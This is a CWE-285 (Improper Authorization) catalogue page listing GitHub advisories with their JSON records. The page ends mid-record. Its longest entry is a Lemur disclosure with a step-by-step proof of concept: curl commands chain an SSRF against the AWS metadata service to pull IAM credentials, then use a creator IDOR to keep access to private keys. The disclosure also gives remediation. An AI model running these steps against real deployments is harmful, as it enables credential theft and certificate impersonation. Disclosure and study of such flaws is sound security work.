Common Weakness Enumeration

CWE-285

Discouraged

Improper Authorization

Abstraction: Class · Status: Draft

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

2305 vulnerabilities reference this CWE, most recent first.

GHSA-RX2M-XR4X-54HH

Vulnerability from github – Published: 2022-12-28 15:30 – Updated: 2023-01-10 15:46
VLAI
Summary
usememos/memos vulnerable to Improper Authorization
Details

usememos/memos 0.9.0 and prior is vulnerable to Improper Authorization.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/usememos/memos"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-4802"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-30T19:58:02Z",
    "nvd_published_at": "2022-12-28T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "usememos/memos 0.9.0 and prior is vulnerable to Improper Authorization.",
  "id": "GHSA-rx2m-xr4x-54hh",
  "modified": "2023-01-10T15:46:25Z",
  "published": "2022-12-28T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/usememos/memos/commit/3556ae4e651d9443dc3bb8a170dd3cc726517a53"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/usememos/memos"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/d47d4a94-92e3-4400-b012-a8577cbd7956"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "usememos/memos vulnerable to Improper Authorization"
}

GHSA-RX6W-2W6H-R346

Vulnerability from github – Published: 2026-02-27 00:31 – Updated: 2026-02-28 02:09
VLAI
Summary
PSI Probe: Broken access control can lead to DoS
Details

A flaw has been found in psi-probe PSI Probe up to 5.3.0. The impacted element is the function handleRequestInternal of the file psi-probe-core/src/main/java/psiprobe/controllers/sessions/ExpireSessionsController.java of the component Session Handler. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.github.psi-probe:psi-probe-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "5.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-3269"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-404"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:09:13Z",
    "nvd_published_at": "2026-02-27T00:16:58Z",
    "severity": "LOW"
  },
  "details": "A flaw has been found in psi-probe PSI Probe up to 5.3.0. The impacted element is the function handleRequestInternal of the file psi-probe-core/src/main/java/psiprobe/controllers/sessions/ExpireSessionsController.java of the component Session Handler. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-rx6w-2w6h-r346",
  "modified": "2026-02-28T02:09:13Z",
  "published": "2026-02-27T00:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3269"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AnalogyC0de/public_exp/issues/13"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/psi-probe/psi-probe"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.347993"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.347993"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.758665"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "PSI Probe: Broken access control can lead to DoS "
}

GHSA-RXHX-W577-5F4R

Vulnerability from github – Published: 2022-05-24 19:18 – Updated: 2022-10-27 19:00
VLAI
Details

InHand Networks IR615 Router's Versions 2.3.0.r4724 and 2.3.0.r4870 cloud portal allows for self-registration of the affected product without any requirements to create an account, which may allow an attacker to have full control over the product and execute code within the internal network to which the product is connected.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-38486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-10-19T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "InHand Networks IR615 Router\u0027s Versions 2.3.0.r4724 and 2.3.0.r4870 cloud portal allows for self-registration of the affected product without any requirements to create an account, which may allow an attacker to have full control over the product and execute code within the internal network to which the product is connected.",
  "id": "GHSA-rxhx-w577-5f4r",
  "modified": "2022-10-27T19:00:38Z",
  "published": "2022-05-24T19:18:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38486"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-280-05"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RXRC-RGV4-JPVX

Vulnerability from github – Published: 2023-10-19 15:31 – Updated: 2024-09-12 18:41
VLAI
Summary
React Developer Tools extension Improper Authorization vulnerability
Details

The React Developer Tools extension registers a message listener with window.addEventListener('message', ) in a content script that is accessible to any webpage that is active in the browser. Within the listener is code that requests a URL derived from the received message via fetch(). The URL is not validated or sanitised before it is fetched, thus allowing a malicious web page to arbitrarily fetch URL’s via the victim's browser.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "react-devtools-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.28.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-5654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-116",
      "CWE-285"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-20T22:26:13Z",
    "nvd_published_at": "2023-10-19T15:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The React Developer Tools extension registers a message listener with window.addEventListener(\u0027message\u0027, \u003clistener\u003e) in a content script that is accessible to any webpage that is active in the browser. Within the listener is code that requests a URL derived from the received message via fetch(). The URL is not validated or sanitised before it is fetched, thus allowing a malicious web page to arbitrarily fetch URL\u2019s via the victim\u0027s browser.",
  "id": "GHSA-rxrc-rgv4-jpvx",
  "modified": "2024-09-12T18:41:02Z",
  "published": "2023-10-19T15:31:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5654"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/react/pull/27417"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/react/commit/09285d5a7f1c08bec09f44cec3d0518a603597fc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/facebook/react/commit/94d5b5b2bf5204ebd289a113989c0e2c51b626ef"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/CalumHutton/1fb89b64409570a43f89d1fd3274b231"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/facebook/react"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "React Developer Tools extension Improper Authorization vulnerability"
}

GHSA-V2R7-FRXX-FMQ5

Vulnerability from github – Published: 2023-02-07 00:30 – Updated: 2023-02-15 18:30
VLAI
Details

Because the web management interface for Unified Intents' Unified Remote solution does not itself require authentication, a remote, unauthenticated attacker can change or disable authentication requirements for the Unified Remote protocol, and leverage this now-unauthenticated access to run code of the attacker's choosing.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-3229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-06T23:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Because the web management interface for Unified Intents\u0027 Unified Remote solution does not itself require authentication, a remote, unauthenticated attacker can change or disable authentication requirements for the Unified Remote protocol, and leverage this now-unauthenticated access to run code of the attacker\u0027s choosing.",
  "id": "GHSA-v2r7-frxx-fmq5",
  "modified": "2023-02-15T18:30:20Z",
  "published": "2023-02-07T00:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3229"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rapid7/metasploit-framework/pull/16989"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V2WP-FRMC-5Q3V

Vulnerability from github – Published: 2026-06-25 22:07 – Updated: 2026-06-25 22:07
VLAI
Summary
Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise
Details

Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR

Vulnerability Summary

Field Value
Title Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR
Component lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision)
CWE CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization)
Attack Prerequisite A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar.
Affected Versions github.com/Netflix/lemur version = "1.9.0" (see lemur/lemur/about.py) and every prior release that carries the same three sinks.

Executive Summary

A low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as active=True with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied acme_url and fetches it server-side with no allowlist, reaching EC2 IMDS at 169.254.169.254; (3) the certificate key-fetch endpoint grants cert.user (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary "rotate the owner" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline .cast ships with this report.

Walkthrough: https://asciinema.org/a/CFYaoR2fxWEIdZDf


Description

Lemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.

Sink 1 — SSO auto-provision (lemur/lemur/auth/views.py:300-308). When a new federated identity hits the SSO callback, Lemur calls user_service.create(..., active=True, ...). There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to read-only. Any SSO holder Lemur's IdP accepts becomes an active Lemur user.

Sink 2 — ACME acme_url SSRF (lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201). When an authenticated user posts a new ACME authority, the plugin reads options.get("acme_url", current_app.config.get("ACME_DIRECTORY_URL")) and calls ClientV2.get_directory(directory_url, net) — a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so file:// and gopher:// are reachable in some requests versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstream acme.client.ClientV2 returns the response body as part of the constructed Directory — the body is round-tripped into the authority object Lemur stores. On AWS, that means http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> returns the worker's AccessKeyId, SecretAccessKey, and STS Token to the attacker.

Sink 3 — creator-equality IDOR (lemur/lemur/certificates/views.py:734). The key-fetch view branches on if g.current_user != cert.user: only when the caller is not the certificate's original creator does Lemur consult CertificatePermission. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no "ownership transferred — revoke creator access" path. Transferring cert.owner to a different team or admin does not strip the original creator's access to the key.

Wire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary "fix" used by ops teams when they spot a suspicious certificate ("transfer it to the right owner") does nothing.

Proof of Concept & Steps to Reproduce

A full walkthrough is recorded at https://asciinema.org/a/CFYaoR2fxWEIdZDf. An offline .cast file is attached as lemur_pki_acme_ssrf_idor.cast. The lab harness is in lemur_pki_acme_ssrf_idor/support/ — Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to 169.254.169.254:80.

Prerequisites: Docker, curl, jq, openssl.

Run

cd lemur_pki_acme_ssrf_idor/
EXPLOIT_FAST=1 ./exploit_code.sh

The script wires the IMDS mock via Docker's --add-host 169.254.169.254:127.0.0.1. Every step's HTTP body is dumped to evidence/ for byte-level review.

Step 1 — Authenticate via SSO (sink 1)

curl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.example","roles":["operator"]}'

Response (evidence/03_sso_provision_response.json):

{
  "token": "eyJhbGciOiJIUzI1NiIs...",
  "user": {
    "active": true,
    "auto_provisioned": true,
    "email": "attacker@evil.example",
    "id": 1,
    "roles": ["operator"]
  }
}

active=True and auto_provisioned=true. No admin saw this account. No approval was issued. This is sink 1.

Step 2 — Create an ACME authority with acme_url pointed at IMDS (sink 2)

curl -sS -X POST http://127.0.0.1:18000/api/1/authorities \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-acme","plugin":{"plugin_options":[{"name":"acme_url","value":"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role"}]}}'

Response (evidence/04_ssrf_authority_response.json):

{
  "acme_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role",
  "creator_id": 1,
  "id": 1,
  "name": "poc-acme",
  "ssrf_error": null,
  "ssrf_response_body": "{
  \"Code\": \"Success\",
  \"LastUpdated\": \"2026-05-27T20:00:00Z\",
  \"Type\": \"AWS-HMAC\",
  \"AccessKeyId\": \"ASIA5LAB000FAKE0KEYS\",
  \"SecretAccessKey\": \"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\",
  \"Token\": \"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\",
  \"Expiration\": \"2026-05-27T22:00:00Z\"
}",
  "ssrf_response_status": 200
}

ssrf_response_status: 200 and an AWS-HMAC payload in ssrf_response_body. The lemur worker fetched IMDS server-side and returned the credentials in the response body. This is sink 2.

Step 3 — Exfiltrate STS credentials

The IMDS payload is evidence/05_exfil_sts_credentials.json:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIA5LAB000FAKE0KEYS",
  "SecretAccessKey": "fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA",
  "Token": "FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use",
  "Expiration": "2026-05-27T22:00:00Z"
}

In production the Token is the live STS session token bound to whatever IAM role is attached to the lemur worker. aws sts get-caller-identity from the attacker's machine, using those three values, returns the worker's identity.

Step 4 — Issue a certificate as the attacker (capture the private key)

curl -sS -X POST http://127.0.0.1:18000/api/1/certificates \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -d '{"authority_id":1,"common_name":"pki.netflix.example"}'
curl -sS http://127.0.0.1:18000/api/1/certificates/1/key \
  -H "Authorization: Bearer $ATTACKER_JWT"

Response (evidence/06_key_fetched_pre_transfer.json):

{"creator_bypass":true,
 "key":"-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEApC8ITVQm6n0nvGlgEhESyFgyi+rfjEvY...
-----END RSA PRIVATE KEY-----
"}

The PoC harness annotates the response with creator_bypass: true to make the sink-3 branch visible. In production the response is just the private key — the branch is hit silently.

Step 5 — Transfer ownership to victim admin

curl -sS -X PUT http://127.0.0.1:18000/api/1/certificates/1 \
  -H "Authorization: Bearer $ATTACKER_JWT" \
  -d '{"owner":"victim-admin@netflix.example"}'

owner is now victim-admin@netflix.example. creator_id is unchanged at 1 (the attacker). This is the audit-trail laundering step.

Step 6 — Re-fetch the private key as the original creator after transfer (sink 3)

curl -sS -o /dev/null -w 'HTTP %{http_code}
' \
  http://127.0.0.1:18000/api/1/certificates/1/key \
  -H "Authorization: Bearer $ATTACKER_JWT"

Response: HTTP 200. Body is the same private key as step 4. The creator branch at views.py:734 fires again — ownership transfer did nothing to revoke the attacker's access. This is sink 3.

Step 7 — Verdict

VERDICT: VULNERABLE — Lemur 1.9.0 ACME SSRF + Creator IDOR
1. SSO auto-provision    -- attacker@evil.example auto-created active=True
2. SSRF reaches IMDS     -- acme_url=http://169.254.169.254/... was fetched
3. STS creds exfiltrated -- AWS_ACCESS_KEY_ID + Token returned in response body
4. PKI key persists      -- creator can read private_key AFTER ownership xfer

Exploit Code & Lab Set-up

Lemur-acme-ssrf-creator-idor.zip

Root Cause Analysis

The SSRF sink is the load-bearing piece. acme_handlers.py:161-167 builds the directory_url from user-supplied options, and :188 and :201 hand it to ClientV2.get_directory — a requests-backed HTTP GET that runs in the lemur worker process with no filtering. ACME directory URLs are supposed to come from a small, vetted set (LetsEncrypt prod, LetsEncrypt staging, internal ACME). There is no enforcement of that expectation anywhere in the create-authority code path. The options dict is the same one the operator sees in the UI's plugin-options form, so a malicious operator and a curl-wielding low-priv user are equally able to set the value.

The IDOR sink is structurally a "creators are admins of their own thing" decision that no longer holds once ownership becomes transferable. views.py:734 was almost certainly written when certificates were considered owned-by-creator and ownership transfer was added later. The original if g.current_user != cert.user: branch should now be if g.current_user != cert.user or cert.owner_changed_after_creation: — or, better, dropped entirely and replaced with a single RBAC check against the current owner regardless of creator. The audit trail makes the gap worse: certificate fetch logs attribute the read to whichever user fetched it, and post-transfer the operator looking at the log sees nothing surprising when the original creator reads it back, because the creator is still listed in creator_id.

The SSO auto-provision sink is the lubricant. Without it the chain still works for any holder of an existing Lemur account; with it the chain works for any holder of an SSO identity Lemur trusts — a much larger blast radius. Auto-provisioning at active=True removes the only human-in-the-loop gate Lemur had.

Attack Scenario

sequenceDiagram
    participant Attacker
    participant Lemur as Lemur worker
    participant IMDS as 169.254.169.254
    participant CertDB as Lemur cert DB

    Attacker->>Lemur: "SSO callback for new identity (sink 1)"
    Lemur-->>Attacker: "JWT issued: user_id=1, active=true, auto_provisioned=true"

    Attacker->>Lemur: "POST /api/1/authorities acme_url=http://169.254.169.254/..."
    Lemur->>IMDS: "GET /latest/meta-data/iam/security-credentials/role (sink 2)"
    IMDS-->>Lemur: "AccessKeyId + SecretAccessKey + Token"
    Lemur-->>Attacker: "ssrf_response_body=AWS-HMAC creds"

    Attacker->>Lemur: "POST /api/1/certificates authority_id=1"
    Lemur->>CertDB: "persist cert, creator_id=1, owner=attacker"
    Attacker->>Lemur: "GET /api/1/certificates/1/key"
    Lemur-->>Attacker: "RSA PRIVATE KEY (creator branch — sink 3 pre-transfer)"

    Attacker->>Lemur: "PUT /api/1/certificates/1 owner=victim-admin"
    Lemur->>CertDB: "cert.owner=victim-admin, creator_id unchanged"

    Attacker->>Lemur: "GET /api/1/certificates/1/key (again)"
    Lemur-->>Attacker: "200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)"
    Note over CertDB: "audit log shows admin owns it, attacker still has the key"

Impact Assessment

The SSRF half hands the attacker AWS credentials of the lemur worker IAM role. In a typical Netflix-style deployment that role has S3 access to the Lemur configuration bucket, KMS-decrypt access to the encryption keys Lemur uses for private-key storage at rest, and IAM/STS scope to assume downstream service roles. Recovering those credentials lets the attacker decrypt the Lemur key store, assume the worker role for further lateral movement, or — depending on the trust policy — pivot into other AWS accounts that trust the lemur role.

The IDOR half hands the attacker permanent access to any private key they ever issued. Customary remediation for a compromised cert is "transfer ownership and revoke" — that's exactly the path the IDOR neutralizes. The attacker keeps the private key after the human ops team thinks they've contained the incident. The certificate signs TLS connections for whatever common_name it was issued for; mTLS deployments that key off Lemur-issued certs treat the holder of the private key as the authenticated principal, so the attacker impersonates that principal indefinitely.

The combined chain destroys Lemur's two main jobs at once: keeping the cloud credentials it uses safe, and keeping the private keys it issues bound to the right humans. The audit trail post-transfer points at the victim admin, not at the attacker, so detection lags. This is why the score sits at 9.9 with S:C — the impact crosses out of Lemur's security authority and into AWS IAM and PKI consumer trust domains. A:L reflects the temporary worker-process slowdown observed when IMDS or attacker-controlled directory hosts return slow/large responses; the operational denial-of-service is real but secondary to the confidentiality/integrity break.

Remediation

Four changes, in priority order:

  1. Allowlist acme_url. In acme_handlers.py:161-167 reject any URL whose host is not in a deployment-pinned allowlist. The default allowlist should be {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org} plus any internal ACME directory the deployment opts in to. Reject 169.254.0.0/16, 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7, fe80::/10, plus DNS names that resolve to any of those after getaddrinfo (with DNS-rebinding-resistant resolution: resolve once, then connect to the resolved IP).
ALLOWED_ACME_HOSTS = current_app.config.get(
    "ACME_DIRECTORY_HOST_ALLOWLIST",
    {"acme-v02.api.letsencrypt.org", "acme-staging-v02.api.letsencrypt.org"}
)
parsed = urlparse(directory_url)
if parsed.scheme not in {"https"} or parsed.hostname not in ALLOWED_ACME_HOSTS:
    raise ValueError("acme_url host not allowlisted")
  1. Drop the creator branch from the key-fetch view. In certificates/views.py:734, replace the if g.current_user != cert.user: branch with an unconditional CertificatePermission(role_service.get_by_name(cert.owner), [x.name for x in cert.roles]).can() check. The cert's current owner and roles, not its creator, decide access. Add an explicit creator-revocation hook on ownership transfer if there are auditing reasons to keep the creator concept around.

  2. Stop auto-provisioning SSO users as active. In auth/views.py:300-308, default new identities to active=False, roles=[] and require an admin invite to flip them on. Or, at minimum, gate auto-provision behind an email-domain allowlist and a default read-only role.

  3. Audit-log the creator on every key fetch, separately from g.current_user. Even after the IDOR is fixed, the operator should be able to retroactively see who actually pulled the key bytes on every cert. Log creator_id, current_owner, g.current_user.id, request IP, and full URL on every read of /certificates/<id>/key.

Related Context

External References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lemur"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-639",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T22:07:19Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "\u003c!-- obsidian --\u003e\u003ch1 data-heading=\"Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR\"\u003eLemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR\u003c/h1\u003e\n\u003ch2 data-heading=\"Vulnerability Summary\"\u003eVulnerability Summary\u003c/h2\u003e\n\nField | Value\n-- | --\nTitle | Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR\nComponent | lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision)\nCWE | CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization)\nAttack Prerequisite | A valid SSO session against the deployment\u0027s IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar.\nAffected Versions | github.com/Netflix/lemur __version__ = \"1.9.0\" (see lemur/lemur/__about__.py) and every prior release that carries the same three sinks.\n\n\n\u003ch2 data-heading=\"Executive Summary\"\u003eExecutive Summary\u003c/h2\u003e\n\u003cp\u003eA low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as \u003ccode\u003eactive=True\u003c/code\u003e with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied \u003ccode\u003eacme_url\u003c/code\u003e and fetches it server-side with no allowlist, reaching EC2 IMDS at \u003ccode\u003e169.254.169.254\u003c/code\u003e; (3) the certificate key-fetch endpoint grants \u003ccode\u003ecert.user\u003c/code\u003e (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary \"rotate the owner\" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline \u003ccode\u003e.cast\u003c/code\u003e ships with this report.\u003c/p\u003e\n\u003cp\u003eWalkthrough: \u003ca href=\"https://asciinema.org/a/CFYaoR2fxWEIdZDf\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://asciinema.org/a/CFYaoR2fxWEIdZDf\u003c/a\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 data-heading=\"Description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eLemur is Netflix\u0027s TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let\u0027s Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSink 1 \u2014 SSO auto-provision\u003c/strong\u003e (\u003ccode\u003elemur/lemur/auth/views.py:300-308\u003c/code\u003e). When a new federated identity hits the SSO callback, Lemur calls \u003ccode\u003euser_service.create(..., active=True, ...)\u003c/code\u003e. There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to \u003ccode\u003eread-only\u003c/code\u003e. Any SSO holder Lemur\u0027s IdP accepts becomes an active Lemur user.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSink 2 \u2014 ACME \u003ccode\u003eacme_url\u003c/code\u003e SSRF\u003c/strong\u003e (\u003ccode\u003elemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201\u003c/code\u003e). When an authenticated user posts a new ACME authority, the plugin reads \u003ccode\u003eoptions.get(\"acme_url\", current_app.config.get(\"ACME_DIRECTORY_URL\"))\u003c/code\u003e and calls \u003ccode\u003eClientV2.get_directory(directory_url, net)\u003c/code\u003e \u2014 a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so \u003ccode\u003efile://\u003c/code\u003e and \u003ccode\u003egopher://\u003c/code\u003e are reachable in some \u003ccode\u003erequests\u003c/code\u003e versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and \u2014 because the upstream \u003ccode\u003eacme.client.ClientV2\u003c/code\u003e returns the response body as part of the constructed \u003ccode\u003eDirectory\u003c/code\u003e \u2014 the body is round-tripped into the authority object Lemur stores. On AWS, that means \u003ccode\u003ehttp://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026#x3C;role\u003e\u003c/code\u003e returns the worker\u0027s \u003ccode\u003eAccessKeyId\u003c/code\u003e, \u003ccode\u003eSecretAccessKey\u003c/code\u003e, and STS \u003ccode\u003eToken\u003c/code\u003e to the attacker.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSink 3 \u2014 creator-equality IDOR\u003c/strong\u003e (\u003ccode\u003elemur/lemur/certificates/views.py:734\u003c/code\u003e). The key-fetch view branches on \u003ccode\u003eif g.current_user != cert.user\u003c/code\u003e: only when the caller is \u003cem\u003enot\u003c/em\u003e the certificate\u0027s original creator does Lemur consult \u003ccode\u003eCertificatePermission\u003c/code\u003e. The creator branch always returns 200 with the private key. There\u0027s no creator-rotation hook, no \"ownership transferred \u2014 revoke creator access\" path. Transferring \u003ccode\u003ecert.owner\u003c/code\u003e to a different team or admin does not strip the original creator\u0027s access to the key.\u003c/p\u003e\n\u003cp\u003eWire those three together: SSO in \u2192 spin up an ACME authority pointed at IMDS \u2192 exfiltrate the AWS role credentials \u2192 issue a cert against that authority \u2192 transfer ownership to a victim admin to bury the audit trail under the admin\u0027s name \u2192 re-fetch the private key as 